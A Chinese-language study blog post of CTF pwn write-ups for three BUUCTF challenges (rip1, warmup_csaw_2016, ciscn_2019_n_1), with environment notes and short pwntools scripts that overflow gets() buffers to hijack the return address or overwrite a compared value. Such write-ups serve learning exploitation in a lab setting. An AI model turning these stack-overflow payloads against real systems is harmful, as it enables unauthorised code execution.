终于配好了自己的pwn机。也是借此记录一下学习记录。题目摘自buuctf
一.pwn机基本介绍
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_hollk的博客-优快云博客_ubuntu安装pwn环境
按照如上教程配置,python2换成了python3.两者有所差别,以后会在这里进行补充。
区别:
1.python3中byte和string需要转换,在字符串前需要加上b来改变属性。比如
payload=b'a'*44+p64(0x41348000)
2.按照配置python的使用不需要再使用python2直接使用python即可,方便了一些。
二.题目解析
1.rip1
先用checksec查看一下有无保护。发现没有
ida看一下主函数发现有get,应该是个栈溢出,找到/bin/sh
溢出调用一下fun即可
在这里直接使用
payload=b'a'*23+p64(0x401186)
出现了错误,查资料得知某些版本glibc调用system会出错,贴上学习链接
于是构造shellcode
from pwn import *
p = remote('node4.buuoj.cn',29058)
payload=b'a'*23+p64(0x401186+1)
p.sendline(payload)
p.interactive()
得到flag
2.warmup_csaw_2016
ida下看到cat flag
还是和上题差不多的栈溢出
shellcode
from pwn import *
p = remote('node4.buuoj.cn',28749)
payload=b'a'*72+p64(0x000000000040060D+1)
p.sendline(payload)
p.interactive()
3.ciscn_2019_n_1
ida看一下主函数,发现是读取v1,判断v2是否等于11.28125.是则获取flag
而v1和v2传输地址可以转为如图
因为使用gets,则栈溢出只需在读入v1时将v2覆盖即可。寻找11.2815的16机制表示。
发现有两个比较过程,点击查看
找到16进制表示。构造shellcode
from pwn import *
p = remote('node4.buuoj.cn',28794)
payload=b'a'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()
得到flag